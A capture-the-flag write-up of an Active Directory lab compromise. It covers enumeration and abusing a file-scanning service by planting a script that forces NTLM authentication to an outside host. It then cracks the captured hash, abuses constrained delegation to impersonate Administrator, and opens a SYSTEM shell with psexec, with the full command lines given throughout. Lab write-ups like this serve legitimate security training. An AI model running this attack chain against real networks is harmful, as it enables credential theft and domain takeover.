Description#
Every request has to go through someone… but what if that someone is you? Route your way through an Active Directory environment, intercept what you shouldn’t, and pull the strings from behind the proxy. Nothing gets through without your say.
Check the challenge here.
Solution#
Setup: I used
exegol free - v.3.1.14to solve this challenge.
Unauthenticated Enumeration#
I am going to start with a basic nmap scan to check the open TCP ports and the services running on the system:
nmap -sC -sV -p- 10.82.175.133
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-10-29 16:04:24Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ctf.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ctf.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: CTF
| NetBIOS_Domain_Name: CTF
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ctf.local
| DNS_Computer_Name: DC01.ctf.local
| DNS_Tree_Name: ctf.local
| Product_Version: 10.0.17763
|_ System_Time: 2026-10-29T16:05:13+00:00
|_ssl-date: 2026-10-29T16:05:52+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=DC01.ctf.local
| Not valid before: 2026-10-28T14:39:35
|_Not valid after: 2027-04-29T14:39:35
7680/tcp filtered pando-pub
9389/tcp open mc-nmf .NET Message Framing
49668/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-10-29T16:05:15
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled and requiredThe scan identifies a Domain Controller as our target:
- Domain:
ctf.local - Host:
DC01
I will add the entry to /etc/hosts on our system so I can reference it in future commands:
10.82.175.133 dc01.ctf.local
10.82.175.133 ctf.localFirst, I would like to check the low-hanging fruit, and I will start with anonymous authentication on SMB:
smbclient -L //10.82.175.133 -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
IT-Shared Disk IT Department Shared Resources
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share There is one non-default share called IT-Shared. Let’s see if we can connect to it without being authenticated:
smbclient -N //10.82.175.133/IT-Shared
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri May 22 05:19:03 2026
.. D 0 Fri May 22 05:19:03 2026
IT-Credentials-Backup.txt A 406 Fri May 22 05:18:15 2026
IT-Onboarding-Checklist.txt A 676 Fri May 22 05:18:16 2026
IT-Portal.html A 4887 Fri May 22 05:19:03 2026
7863807 blocks of size 4096. 3559577 blocks available
smb: \> Access is successful! Now we can access those files and peek inside to look for credentials.
IT-Credentials-Backup.txt:
IT Department - Credentials Backup
===================================
Generated: 2019-08-14
Status: ARCHIVED (accounts disabled pending security review)
helpdesk.bob : [REDACTED_PASSWORD] [DISABLED - left company 2021]
it.admin : [REDACTED_PASSWORD] [DISABLED - role change 2022]
NOTE: These accounts have been disabled. Active service accounts
are managed separately by the sysadmin team.IT-Onboarding-Checklist.txt:
IT Department Onboarding Checklist
====================================
Welcome to the team!
1. Get VPN access from sysadmin
2. Request AD account
3. Install tools (see software list on intranet)
4. Review security policies
Automated Services
------------------
File Scanner (svc.scanner)
Runs every 2 minutes. Enumerates IT-Shared for new files to process.
Uses Shell enumeration to inspect file metadata and icons.
Contact sysadmin if files are not being processed.
Database Backup (svc.mssql)
Handles nightly MSSQL backups. Member of Backup Operators.
Password rotated quarterly -- do not store locally.
Questions? Email helpdesk@ctf.localHere is some useful content from IT-Portal.html:
<div class="card">
<h3>Service Status</h3>
<table>
<tr><th>Service</th><th>Host</th><th>Status</th><th>Uptime</th></tr>
<tr>
<td>Active Directory</td>
<td>DC01.ctf.local</td>
<td><span class="dot green"></span>Online</td>
<td>32 d</td>
</tr>
<tr>
<td>DNS</td>
<td>DC01.ctf.local</td>
<td><span class="dot green"></span>Online</td>
<td>32 d</td>
</tr>
<tr>
<td>File Share (IT-Shared)</td>
<td>DC01.ctf.local</td>
<td><span class="dot green"></span>Online</td>
<td>32 d</td>
</tr>
<tr>
<td>Backup Agent</td>
<td>SRV01.ctf.local</td>
<td><span class="dot yellow"></span>Degraded</td>
<td>11 d</td>
</tr>
<tr>
<td>Monitoring</td>
<td>SRV02.ctf.local</td>
<td><span class="dot red"></span>Offline</td>
<td>—</td>
</tr>
</table>
</div>
<div class="card">
<h3>Recent Tickets</h3>
<table>
<tr><th>#</th><th>Subject</th><th>Assigned</th><th>Priority</th></tr>
<tr><td>1042</td><td>Printer offline – 2nd floor</td><td>j.smith</td><td>Low</td></tr>
<tr><td>1041</td><td>VPN access request – new hire</td><td>svc.helpdesk</td><td>Normal</td></tr>
<tr><td>1039</td><td>Password reset – m.jones</td><td>svc.helpdesk</td><td>Normal</td></tr>
<tr><td>1037</td><td>Backup job failed on SRV01</td><td>Unassigned</td><td><strong>High</strong></td></tr>
</table>
</div>Okay, let’s review the information gathered so far:
Systems:
DC01.ctf.local- Domain Controller (Up)SRV01.ctf.local- Backup Agent (Down)SRV02.ctf.local- Backup Agent (Down)
Usernames:
j.smith
m.jones
svc.helpdesk
it.admin
helpdesk.bob
svc.scanner
svc.mssqlAnd we also got two potential passwords.
We can use kerbrute to check which usernames in the user list are valid:
kerbrute userenum --domain "ctf.local" --dc 10.82.175.133 users.txt | grep '[+]'
2026/10/31 13:45:50 > [+] VALID USERNAME: svc.mssql@ctf.local
2026/10/31 13:45:50 > [+] VALID USERNAME: svc.scanner@ctf.localOnly the service accounts are flagged as valid. Next, I tried a password spray with the validated accounts and passwords found in the share to see if there was any password reuse:
nxc smb $TARGET -u valid_users.txt -p pass.txt --continue-on-success | grep '[+]'Nothing.
The IT-Onboarding-Checklist.txt file mentions an automated service that scans the share for new files and “processes” them for the icon and metadata. I tried to create an .url (Internet Shortcut) file that points the icon path to a share we control and force the system to reveal its Net-NTLMv2 challenge-response, but it did not work. The solution was to create a .ps1 script that the service automatically executes.
I tried to get a reverse shell, but the session was quickly terminated:

I can force the server to authenticate to my fake SMB server by using a simple script that checks whether a UNC path exists:
Test-Path \\192.168.128.171\share\icon.icoUpload the script to the share and listen with responder:
responder -I tun0 -v
We got the challenge-response! Now we can save it to a file (hash.txt) and crack it with hashcat using the rockyou.txt password list:
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt --force
We can verify the credentials with nxc:
nxc smb 10.82.175.133 -u 'svc.scanner' -p '[REDACTED_PASSWORD]' | grep '[+]'
SMB 10.82.175.133 445 DC01 [+] ctf.local\svc.scanner:[REDACTED_PASSWORD] Authenticated Enumeration#
Now that I have a valid set of credentials, I can run bloodhound against the infrastructure to get more information:
bloodhound.py --zip -c All -d "ctf.local" -u "svc.scanner" -p '[REDACTED_PASSWORD]' -ns "10.82.175.133" -dc "dc01.ctf.local"After uploading the .zip file to the bloodhound web app, I selected the predefined Shortest paths to Domain Admins query and saw a path from svc.scanner to Domain Admins:

There I found that svc.scanner is configured for constrained delegation to services on DC01.ctf.local. This means that I can impersonate users when authenticating to the specific services listed in the msDS-AllowedToDelegateTo LDAP property.
To check the property, we can use the following command:
ldapsearch -x -H ldap://10.82.175.133 \
-D "svc.scanner@ctf.local" -w '[REDACTED_PASS]' \
-b "DC=ctf,DC=local" "(msDS-AllowedToDelegateTo=*)" \
sAMAccountName msDS-AllowedToDelegateTo
Exploitation#
The property contains cifs/DC01.ctf.local and cifs/DC01, which identify the SMB/file-sharing service. This is perfect because we can impersonate the Administrator account and have elevated rights on the SMB share, which will allow us to execute commands as NT AUTHORITY\SYSTEM.
To impersonate the Administrator, we can request a service ticket from the KDC:
getST.py -spn cifs/DC01.ctf.local -impersonate Administrator ctf.local/svc.scanner:'[REDACTED_PASSWORD]'Then, make sure the KRB5CCNAME environment variable is set to the correct path of the resulting .ccache file.
export KRB5CCNAME="/path/to/ccache/file"Now, we can spawn a shell as the Administrator using psexec.py (Impacket):
psexec.py "Administrator"@dc01.ctf.local -k -no-pass

